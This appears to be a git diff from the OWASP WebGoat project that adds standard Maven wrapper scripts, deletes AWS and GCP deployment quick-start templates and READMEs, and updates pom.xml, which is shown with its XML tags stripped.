wrapper in projects that prohibit checking in binary data. +########################################################################################## +if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found .mvn/wrapper/maven-wrapper.jar" + fi +else + if [ "$MVNW_VERBOSE" = true ]; then + echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." + fi + if [ -n "$MVNW_REPOURL" ]; then + jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar" + else + jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar" + fi + while IFS="=" read key value; do + case "$key" in (wrapperUrl) jarUrl="$value"; break ;; + esac + done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" + if [ "$MVNW_VERBOSE" = true ]; then + echo "Downloading from: $jarUrl" + fi + wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" + if $cygwin; then + wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"` + fi + + if command -v wget > /dev/null; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found wget ... using wget" + fi + if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then + wget "$jarUrl" -O "$wrapperJarPath" + else + wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" + fi + elif command -v curl > /dev/null; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found curl ... using curl" + fi + if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then + curl -o "$wrapperJarPath" "$jarUrl" -f + else + curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f + fi + + else + if [ "$MVNW_VERBOSE" = true ]; then + echo "Falling back to using Java to download" + fi + javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" + # For Cygwin, switch paths to Windows format before running javac + if $cygwin; then + javaClass=`cygpath --path --windows "$javaClass"` + fi + if [ -e "$javaClass" ]; then + if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then + if [ "$MVNW_VERBOSE" = true ]; then + echo " - Compiling MavenWrapperDownloader.java ..." + fi + # Compiling the Java class + ("$JAVA_HOME/bin/javac" "$javaClass") + fi + if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then + # Running the downloader + if [ "$MVNW_VERBOSE" = true ]; then + echo " - Running MavenWrapperDownloader.java ..." + fi + ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") + fi + fi + fi +fi +########################################################################################## +# End of extension +########################################################################################## + +export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} +if [ "$MVNW_VERBOSE" = true ]; then + echo $MAVEN_PROJECTBASEDIR +fi +MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" + +# For Cygwin, switch paths to Windows format before running java +if $cygwin; then + [ -n "$M2_HOME" ] && + M2_HOME=`cygpath --path --windows "$M2_HOME"` + [ -n "$JAVA_HOME" ] && + JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` + [ -n "$CLASSPATH" ] && + CLASSPATH=`cygpath --path --windows "$CLASSPATH"` + [ -n "$MAVEN_PROJECTBASEDIR" ] && + MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` +fi + +# Provide a "standardized" way to retrieve the CLI args that will +# work with both Windows and non-Windows executions. +MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@" +export MAVEN_CMD_LINE_ARGS + +WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain + +exec "$JAVACMD" \ + $MAVEN_OPTS \ + -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ + "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ + ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" diff --git a/mvnw.cmd b/mvnw.cmd new file mode 100644 index 000000000..b26ab24f0 --- /dev/null +++ b/mvnw.cmd @@ -0,0 +1,182 @@ +@REM ---------------------------------------------------------------------------- +@REM Licensed to the Apache Software Foundation (ASF) under one +@REM or more contributor license agreements. See the NOTICE file +@REM distributed with this work for additional information +@REM regarding copyright ownership. The ASF licenses this file +@REM to you under the Apache License, Version 2.0 (the +@REM "License"); you may not use this file except in compliance +@REM with the License. You may obtain a copy of the License at +@REM +@REM http://www.apache.org/licenses/LICENSE-2.0 +@REM +@REM Unless required by applicable law or agreed to in writing, +@REM software distributed under the License is distributed on an +@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +@REM KIND, either express or implied. See the License for the +@REM specific language governing permissions and limitations +@REM under the License. +@REM ---------------------------------------------------------------------------- + +@REM ---------------------------------------------------------------------------- +@REM Maven2 Start Up Batch script +@REM +@REM Required ENV vars: +@REM JAVA_HOME - location of a JDK home dir +@REM +@REM Optional ENV vars +@REM M2_HOME - location of maven2's installed home dir +@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands +@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending +@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven +@REM e.g. to debug Maven itself, use +@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 +@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files +@REM ---------------------------------------------------------------------------- + +@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' +@echo off +@REM set title of command window +title %0 +@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on' +@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% + +@REM set %HOME% to equivalent of $HOME +if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") + +@REM Execute a user defined script before this one +if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre +@REM check for pre script, once with legacy .bat ending and once with .cmd ending +if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" +if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" +:skipRcPre + +@setlocal + +set ERROR_CODE=0 + +@REM To isolate internal variables from possible post scripts, we use another setlocal +@setlocal + +@REM ==== START VALIDATION ==== +if not "%JAVA_HOME%" == "" goto OkJHome + +echo. +echo Error: JAVA_HOME not found in your environment. >&2 +echo Please set the JAVA_HOME variable in your environment to match the >&2 +echo location of your Java installation. >&2 +echo. +goto error + +:OkJHome +if exist "%JAVA_HOME%\bin\java.exe" goto init + +echo. +echo Error: JAVA_HOME is set to an invalid directory. >&2 +echo JAVA_HOME = "%JAVA_HOME%" >&2 +echo Please set the JAVA_HOME variable in your environment to match the >&2 +echo location of your Java installation. >&2 +echo. +goto error + +@REM ==== END VALIDATION ==== + +:init + +@REM Find the project base dir, i.e. the directory that contains the folder ".mvn". +@REM Fallback to current working directory if not found. + +set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% +IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir + +set EXEC_DIR=%CD% +set WDIR=%EXEC_DIR% +:findBaseDir +IF EXIST "%WDIR%"\.mvn goto baseDirFound +cd .. +IF "%WDIR%"=="%CD%" goto baseDirNotFound +set WDIR=%CD% +goto findBaseDir + +:baseDirFound +set MAVEN_PROJECTBASEDIR=%WDIR% +cd "%EXEC_DIR%" +goto endDetectBaseDir + +:baseDirNotFound +set MAVEN_PROJECTBASEDIR=%EXEC_DIR% +cd "%EXEC_DIR%" + +:endDetectBaseDir + +IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig + +@setlocal EnableExtensions EnableDelayedExpansion +for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a +@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% + +:endReadAdditionalConfig + +SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" +set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" +set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain + +set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar" + +FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO ( + IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B +) + +@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central +@REM This allows using the maven wrapper in projects that prohibit checking in binary data. +if exist %WRAPPER_JAR% ( + if "%MVNW_VERBOSE%" == "true" ( + echo Found %WRAPPER_JAR% + ) +) else ( + if not "%MVNW_REPOURL%" == "" ( + SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar" + ) + if "%MVNW_VERBOSE%" == "true" ( + echo Couldn't find %WRAPPER_JAR%, downloading it ... + echo Downloading from: %DOWNLOAD_URL% + ) + + powershell -Command "&{"^ + "$webclient = new-object System.Net.WebClient;"^ + "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^ + "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^ + "}"^ + "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^ + "}" + if "%MVNW_VERBOSE%" == "true" ( + echo Finished downloading %WRAPPER_JAR% + ) +) +@REM End of extension + +@REM Provide a "standardized" way to retrieve the CLI args that will +@REM work with both Windows and non-Windows executions. +set MAVEN_CMD_LINE_ARGS=%* + +%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* +if ERRORLEVEL 1 goto error +goto end + +:error +set ERROR_CODE=1 + +:end +@endlocal & set ERROR_CODE=%ERROR_CODE% + +if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost +@REM check for post script, once with legacy .bat ending and once with .cmd ending +if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" +if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" +:skipRcPost + +@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' +if "%MAVEN_BATCH_PAUSE%" == "on" pause + +if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% + +exit /B %ERROR_CODE% diff --git a/platformQuickStarts/AWS/README.md b/platformQuickStarts/AWS/README.md deleted file mode 100644 index 762bdda12..000000000 --- a/platformQuickStarts/AWS/README.md +++ /dev/null @@ -1,31 +0,0 @@ -# AWS - -- This contains the various platform Quick Starts for Getting WebGoat Deployed into AWS. -- This IaaS quickstart uses AWS CloudFormation to perform most of the provisioning -- This IaaS quickstart is composed of three independent bundles - - Code pipeline and Build - - Deploying to EC2 - - Deploying to ECS - - -It is Assumed: -- You have an AWS Account -- You know what an S3 bucket is -- You have seen the IAM console and have permissions to create IAM Roles - - - - -## Code Pipeline and Build - -This Quickstart is for those that just want to perform builds with AWS. It Triggers off of Github to perform builds of `webgoat-server` - - - -## EC2 - -(WIP) This uses AWS CodePipeline, CodeBuild, and CodeDeploy to land WebGoat to Running EC2 instances - -## ECS - -(WIP) This uses AWS CodePipeline, CodeBuild, ECR, to land a container onto an ECS cluster \ No newline at end of file diff --git a/platformQuickStarts/AWS/codepipelinebuild/01_IAM_codebuild.json b/platformQuickStarts/AWS/codepipelinebuild/01_IAM_codebuild.json deleted file mode 100644 index 2fbf17f5a..000000000 --- a/platformQuickStarts/AWS/codepipelinebuild/01_IAM_codebuild.json +++ /dev/null @@ -1,101 +0,0 @@ -{ - "AWSTemplateFormatVersion": "2010-09-09", - "Description": "IAM Roles for Code Build WebGoat IaaS Quickstart", - "Parameters": { - "qsS3BucketName": { - "Description": "Name of the S3 Bucket for artifacts", - "Type": "String", - "MinLength": "1" - }, - "qsRoleName": { - "Description": "Name of the IAM role that CodeBuild Will Use", - "Type": "String", - "Default": "SimpleCodeBuildRole", - "MinLength": "1" - } - }, - "Resources": { - "qsCodeBuildRole": { - "Type": "AWS::IAM::Role", - "Properties": { - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Service": [ - "codebuild.amazonaws.com" - ] - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - }, - "Path": "/webgoat/", - "RoleName": { - "Ref": "qsRoleName" - }, - "ManagedPolicyArns": [ - "arn:aws:iam::aws:policy/AWSCodeCommitFullAccess", - "arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess", - "arn:aws:iam::aws:policy/AWSCodeDeployDeployerAccess" - ], - "Policies": [ - { - "PolicyName": "CloudWatchLogs", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Resource": [ - {"Fn::Join": [ "",["arn:aws:logs:*:", { "Ref": "AWS::AccountId" }, ":log-group:/aws/codebuild*" ] ]} - ], - "Action": [ - "logs:CreateLogGroup", - "logs:CreateLogStream", - "logs:PutLogEvents" - ] - } - ] - } - }, - { - "PolicyName": "S3buckets", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Resource": [ - { - "Fn::Join": [ - "", - [ - "arn:aws:s3:::", - { - "Ref": "qsS3BucketName" - }, - "*" - ] - ] - }, - "arn:aws:s3:::codepipeline-*" - ], - "Action": [ - "s3:Put*", - "s3:Get*", - "s3:List*" - ] - } - ] - } - } - ] - } - } - } -} diff --git a/platformQuickStarts/AWS/codepipelinebuild/01_IAM_codepipeline.json b/platformQuickStarts/AWS/codepipelinebuild/01_IAM_codepipeline.json deleted file mode 100644 index 58fd9f1f4..000000000 --- a/platformQuickStarts/AWS/codepipelinebuild/01_IAM_codepipeline.json +++ /dev/null @@ -1,127 +0,0 @@ -{ - "AWSTemplateFormatVersion": "2010-09-09", - "Description": "IAM Role for Code Pipeline WebGoat IaaS Quickstart", - "Parameters": { - "qsS3BucketName": { - "Description": "Name of the S3 Bucket for artifacts", - "Type": "String", - "MinLength": "1" - }, - "qsRoleName": { - "Description": "Name of the IAM role that CodePipeline Will Use", - "Type": "String", - "Default": "SimpleCodePipelineRole", - "MinLength": "1" - } - }, - "Resources": { - "qsCodePipelineRole": { - "Type": "AWS::IAM::Role", - "Properties": { - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "", - "Effect": "Allow", - "Principal": { - "Service": "codepipeline.amazonaws.com" - }, - "Action": "sts:AssumeRole" - } - ] - }, - "Path": "/webgoat/", - "RoleName": { - "Ref": "qsRoleName" - }, - "ManagedPolicyArns": [ - "arn:aws:iam::aws:policy/AWSCodeCommitFullAccess", - "arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess", - "arn:aws:iam::aws:policy/AWSCodeDeployDeployerAccess" - ], - "Policies": [ - { - "PolicyName": "CloudWatchLogsPipeline", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Resource": [ - {"Fn::Join": [ "",["arn:aws:logs:*:", { "Ref": "AWS::AccountId" }, ":log-group:/aws/*" ] ]} - ], - "Action": [ - "logs:CreateLogGroup", - "logs:CreateLogStream", - "logs:PutLogEvents" - ] - } - ] - } - }, - { - "PolicyName": "MiscComputeOpen", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Resource": "*", - "Action": [ - "lambda:InvokeFunction", - "lambda:ListFunctions", - "elasticbeanstalk:*", - "ec2:*", - "elasticloadbalancing:*", - "autoscaling:*", - "cloudwatch:*", - "s3:*", - "sns:*", - "cloudformation:*", - "rds:*", - "sqs:*", - "ecs:*", - "iam:PassRole" - ] - } - ] - } - }, - { - "PolicyName": "S3buckets", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Resource": [ - { - "Fn::Join": [ - "", - [ - "arn:aws:s3:::", - { - "Ref": "qsS3BucketName" - }, - "*" - ] - ] - }, - "arn:aws:s3:::codepipeline-*", - "arn:aws:s3:::elasticbeanstalk*" - ], - "Action": [ - "s3:Put*", - "s3:Get*", - "s3:List*" - ] - } - ] - } - } - ] - } - } - } -} diff --git a/platformQuickStarts/AWS/codepipelinebuild/01_codepiplinebuild.yml b/platformQuickStarts/AWS/codepipelinebuild/01_codepiplinebuild.yml deleted file mode 100644 index 8aac7af2a..000000000 --- a/platformQuickStarts/AWS/codepipelinebuild/01_codepiplinebuild.yml +++ /dev/null @@ -1,123 +0,0 @@ -AWSTemplateFormatVersion: "2010-09-09" - -Description: > - AWS Cloud Formation for creating an AWS CodePipeline that checks a git repo for changes and then performs a build using code build - - -Parameters: - qsPipelineName: - Description: The name of the AWS Code Pipeline - Type: String - Default: WG-pipeline - MinLength: 1 - qsPipelineRoleARN: - Description: The complete ARN to the IAM role that code pipeline should use - Type: String - MinLength: 1 - qsCodeRepo: - Description: The Repository - Type: String - MinLength: 1 - qsRepoBranch: - Description: The Branch in the Repository - Type: String - MinLength: 1 - qsGitHubUser: - Description: The GitHub User Id - Type: String - MinLength: 1 - qsGitHubAPIToken: - Description: The GitHub Personal Access token do not use password - NoEcho: true - Type: String - MinLength: 1 - qsS3PipelineArtifacts: - Description: Where Code Pipeline will state artifacts in S3 - Type: String - MinLength: 1 - qsS3CodeBuildArtifacts: - Description: Where Code Build will upload Artifacts can be same as codepipeline - Type: String - MinLength: 1 - qsCodeBuildName: - Description: Name of the AWS Code Build - Type: String - Default: WG-mvnBuilder - MinLength: 1 - qsKMSKeyARN: - Description: The KMS ARN that the IAM Role is allowed to use - Type: String - MinLength: 1 - qsCodeRoleArn: - Description: The IAM Role ARN for CodePipeline and CodeDeploy - Type: String - MinLength: 1 - - - -Resources: - - - - - stkcbrCodeBuild: - Type: AWS::CodeBuild::Project - Properties: - Artifacts: - Type: CODEPIPELINE - Description: Builds WebGoat Jar using build file in repo - EncryptionKey: !Ref 'qsKMSKeyARN' - Environment: - ComputeType: BUILD_GENERAL1_SMALL - Image: aws/codebuild/java:openjdk-8 - Type: LINUX_CONTAINER - Name: !Ref 'qsCodeBuildName' - ServiceRole: !Ref 'qsCodeRoleArn' - TimeoutInMinutes: 10 - Source: - Type: CODEPIPELINE - - - - stkcplPipeline: - Type: AWS::CodePipeline::Pipeline - Properties: - Name: !Ref 'qsPipelineName' - RoleArn: !Ref 'qsPipelineRoleARN' - ArtifactStore: - Location: !Ref 'qsS3PipelineArtifacts' - Type: S3 - Stages: - - Name: CodeRepo - Actions: - - Name: CodeSource - ActionTypeId: - Category: Source - Owner: ThirdParty - Provider: GitHub - Version: 1 - Configuration: - Branch: !Ref 'qsRepoBranch' - Repo: !Ref 'qsCodeRepo' - Owner: !Ref 'qsGitHubUser' - OAuthToken: !Ref 'qsGitHubAPIToken' - OutputArtifacts: - - Name: MySource - RunOrder: '1' - - Name: Build - Actions: - - Name: CodeBuild - ActionTypeId: - Category: Build - Owner: AWS - Provider: CodeBuild - Version: 1 - InputArtifacts: - - Name: MySource - Configuration: - ProjectName: !Ref stkcbrCodeBuild - OutputArtifacts: - - Name: MyBuild - RunOrder: '2' - - diff --git a/platformQuickStarts/AWS/codepipelinebuild/README.md b/platformQuickStarts/AWS/codepipelinebuild/README.md deleted file mode 100644 index e8aea2d06..000000000 --- a/platformQuickStarts/AWS/codepipelinebuild/README.md +++ /dev/null @@ -1,64 +0,0 @@ -# Serverless MVN builds Featuring AWS - -This Quick Start forms the basis for the other AWS quickstarts. This only BUILDS the `webgoat-server` spring boot jar. If you want to also run it on AWS skip to the other AWS quickstarts - -Before you Begin -1. Do you have an AWS Account? -2. Can you create an S3 Bucket? -3. Can you create a KMS Key? -4. Do you know what Cloud Formation is? -5. Do you have enough permissions to do any real work in said AWS Account? - -If you said no to any of those...hop over to [docs](https://aws.amazon.com/documentation/) and learn (but don't do) how to create those. - - -You will also need: -1. A GitHub Account -2. Fork of WebGoat -3. Personal access Token with `Admin:repo_hook` and `repo` - - - -## Create Pre-requisites - -First pick an AWS region and stick with it for ALL the quickstarts. This one was mostly executed on US-east-1/2 but any region with KMS, CodePipeline, and CodeBuild will work. eu-Central-1, ap-southeast-1 and sa-east-1 have reported success also. - - -1. Create an S3 bucket and call it something meaningfull like `webgoat-stash-username` or something or use an existing bucket you have access to. -2. Create a KMS Key. Make sure you are a key administrator so you can add key users later. - -## Deploy IAM role Cloud Formation Stacks - -In this folder there are two json cloudformation templates: --`01_IAM_codebuild.json` --`01_IAM_codepipeline.json` - -You will use the CloudFormation templates to create two roles. One for CodePipeline and the Other for CodeBuild. You will use the name of the bucket you just created as a parameter. - -## Update KMS Key - -Access the KMS key you created earlier...add the two IAM roles you just created and Key Users - -## Finally the Pipeline - -You will use the yaml cloudformation template `01_codepiplinebuild.yml` to create the code building pipeline. - -Some of the parameters you will need to pass: -1. The S3 bucket (twice) -2. The Github Branch name (master? develop? yourbranchname?) -3. The Github user (if you forked it would be your username) -4. You personal access token for GitHub -5. The name or the repo (WebGoat! ...unless you renamed and did a whole bunch of fancy git magic) -6. The ARN of the KMS key -7. The ARN of the role for the codebuild for parameter qsCodeRoleArn -8. The ARN for codepipeline - -If this Stack successfully deploys a build will begin based on the latest commit automatically. You will have a funky named zip file (without the .zip ending) in a folder in the S3 bucket in a few minutes. - - - -Congratulations. You just Deployed a two step AWS Codepipeline that looks for codechanges and then performs a build. - -... ON to the next AWS Quickstart - - diff --git a/platformQuickStarts/GCP/GKE-Docker/README.md b/platformQuickStarts/GCP/GKE-Docker/README.md deleted file mode 100644 index 7b18993c1..000000000 --- a/platformQuickStarts/GCP/GKE-Docker/README.md +++ /dev/null @@ -1,80 +0,0 @@ -# GKE - DockerHub - -This Quickstart shows how to create a Kubernettes Cluster using Google Cloud Platform's [GKE](https://cloud.google.com/container-engine/) and WebGoat's Docker [Image](https://hub.docker.com/r/webgoat/webgoat-8.0/). - -To be Successfull with this Quickstart - -1. You have a Google Cloud Platform account and have enough access rights to create Compute Engine and Container Engine Resources -2. You know how to `git clone` -3. You have the gcloud SDK install and initialized somewhere ( do not use the google cloud shell) - - -Remeber to perform a 'gcloud auth login' before using the gcloud commands below. - - - -## Create Kubernettes Cluster - -You can create a cluster using the Google Cloud Console. The Default settings will suffice. For this QuickStart the cluster name used is `owaspbasiccluster`. The `PROJECTNAME` is whatever your project is. The `REGION` is a region/zone near you. - -If you want to use the gcloud sdk from a properly initialized gcloud commandline environment use the following command - - -``` -gcloud container --project "PROJECTNAME" clusters create "owaspbasiccluster" --zone "REGION" --machine-type "n1-standard-1" --image-type "COS" --disk-size "100" --scopes "https://www.googleapis.com/auth/compute","https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/cloud-platform","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append","https://www.googleapis.com/auth/source.read_only" --num-nodes "3" --network "default" --enable-cloud-logging --no-enable-cloud-monitoring - - -``` - -The command creates a similar cluster with more of the options set explicitly. - -## Set up Kubectl - -Using the commandline gcloud SDK environment you need to set-up 'kubectl' - -If you have not already installed 'Kubectl' you can do so with the following command using `gcloud` -- `gcloud components install kubectl` - -Then you just run: -- `gcloud container clusters get-credentials owaspbasiccluster --zone REGION --project PROJECTNAME` - - -## Deploy WebGoat Deployment - -Time to deploy the latest DockerImage for WebGoat! - - -Let's First Make a namespace for this: -- `kubectl create namespace webgoat` - -Now it is time to make the magic happen! - -- `kubectl create -f /where_you_git_cloned_webgoat/platformQuickStart/GCP/GKE-Docker/webgoat_noDNSnoTLS.yml` - -This should complete with no errors. - -Use the following command to see information/status about the deployment -- `kubectl describe deployment webgoat-dpl --namespace=webgoat` - -After a few minutes the service endpoint should be ready. You can check the status with -- `kubectl describe service webgoatsvc --namespace=webgoat` - -In the output you should see a message like "Created load..." after a "Creating load..." which means that the public facing loadbalancer (even thou there is just one container running!) is ready. - - -If you want to see the Kubernetes dashboard you can run `kubectl proxy` (in a new terminal window) and then navigate to http://localhost:8001/ui . - - - -## Test Deployment - -From the previous `describe service` command the `LoadBalancer Ingress:` line should have the external IP. The line below should give the port. - -So..... - -[IP]:[PORT]/WebGoat in your browser! - -DONE - - - diff --git a/platformQuickStarts/GCP/GKE-Docker/deploy.cfg b/platformQuickStarts/GCP/GKE-Docker/deploy.cfg deleted file mode 100644 index 460110cc2..000000000 --- a/platformQuickStarts/GCP/GKE-Docker/deploy.cfg +++ /dev/null @@ -1,4 +0,0 @@ -CURTAG=webgoat/webgoat-8.0 -DEST_TAG=gcr.io/astech-training/raging-wire-webgoat -CLUSTER_NAME=raging-wire-webgoat -PORT_NUM=8080 \ No newline at end of file diff --git a/platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh b/platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh deleted file mode 100644 index 87a076730..000000000 --- a/platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh +++ /dev/null @@ -1,4 +0,0 @@ -CURTAG=webgoat/webgoat-8.0 -DEST_TAG=gcr.io/your-gke-project/your-webgoat-tag -CLUSTER_NAME=your-cluster-name -PORT_NUM=8080 \ No newline at end of file diff --git a/platformQuickStarts/GCP/GKE-Docker/webgoat_deployment_noDNSnoTLS.yml b/platformQuickStarts/GCP/GKE-Docker/webgoat_deployment_noDNSnoTLS.yml deleted file mode 100644 index 228cf29ef..000000000 --- a/platformQuickStarts/GCP/GKE-Docker/webgoat_deployment_noDNSnoTLS.yml +++ /dev/null @@ -1,39 +0,0 @@ ---- -apiVersion: v1 -kind: Service -metadata: - labels: - app: webgoatapp - name: webgoatsvc - namespace: webgoat -spec: - ports: - - - port: 8080 - protocol: TCP - selector: - app: webgoatapp - type: LoadBalancer ---- -apiVersion: extensions/v1beta1 -kind: Deployment -metadata: - name: webgoat-dpl - namespace: webgoat -spec: - replicas: 1 - template: - metadata: - name: webgoatapp - labels: - app: webgoatapp - spec: - containers: - - - image: webgoat/webgoat-8.0 - name: webgoat - ports: - - - containerPort: 8080 - - \ No newline at end of file diff --git a/platformQuickStarts/GCP/README.md b/platformQuickStarts/GCP/README.md deleted file mode 100644 index 1c4eb30cb..000000000 --- a/platformQuickStarts/GCP/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# WebGoat on GCP! - -This folder contains sub folders for the various ways you could deploy WebGoat on Google Cloud Platform - -It is assumed: -1. You have a Google Cloud Platform Account -2. You can use Git -3. You can use a Linux/Mac/Google Cloud Shell - - -## GKE Docker - -Uses GKE to run the latest DockerHub version of WebGoat8 - -## AppEngine - -WIP \ No newline at end of file diff --git a/platformQuickStarts/README.md b/platformQuickStarts/README.md deleted file mode 100644 index f647f3273..000000000 --- a/platformQuickStarts/README.md +++ /dev/null @@ -1,22 +0,0 @@ -# OWASP WebGoat Platform Quick Starts - -Want to Run WebGoat? Want to run WebGoat in the Cloud? Don't want to be cloud Expert? - -Do we have a solution for you! - - -Additionally, Each IaaS/PaaS will have their deployment steps broken down giving the *app-guy-new-to-cloud* an opportunity to learn how said platform works. - - - -## AWS - -Multi-Part Quickstart. Starts with simple pipeline that just builds code to a deploying onto EC2 instances and then containers using ECS/ECR - -## GCP - -Get WebGoat Running on GKE and AppEngine - - - - diff --git a/pom.xml b/pom.xml index 206ecb2ed..15851ec3b 100644 --- a/pom.xml +++ b/pom.xml @@ -1,357 +1,726 @@ - - + + - 4.0.0 - org.owasp.webgoat - webgoat-parent - pom - v8.0.0.SNAPSHOT + 4.0.0 - WebGoat Parent Pom - Parent Pom for the WebGoat Project. A deliberately insecure Web Application - 2006 + + org.springframework.boot + spring-boot-starter-parent + 2.7.1 + + org.owasp.webgoat + webgoat + 2023.3 + jar + + WebGoat + WebGoat, a deliberately insecure Web Application + https://github.com/WebGoat/WebGoat + 2006 + + OWASP + https://github.com/WebGoat/WebGoat/ + + + + GNU General Public License, version 2 + https://www.gnu.org/licenses/gpl-2.0.txt + + + + + mayhew64 + Bruce Mayhew + webgoat@owasp.org + OWASP + https://github.com/WebGoat/WebGoat + + + nbaars + Nanne Baars + nanne.baars@owasp.org + https://github.com/nbaars + Europe/Amsterdam + + + misfir3 + Jason White + jason.white@owasp.org + + + zubcevic + René Zubcevic + rene.zubcevic@owasp.org + + + aolle + Àngel Ollé Blázquez + angel@olleb.com + + + jwayman + Jeff Wayman + + + + dcowden + Dave Cowden + + + + lawson89 + Richard Lawson + + + + dougmorato + Doug Morato + doug.morato@owasp.org + OWASP + https://github.com/dougmorato + America/New_York + + https://avatars2.githubusercontent.com/u/9654?v=3&s=150 + + + + + + + OWASP WebGoat Mailing List + https://lists.owasp.org/mailman/listinfo/owasp-webgoat + Owasp-webgoat-request@lists.owasp.org + 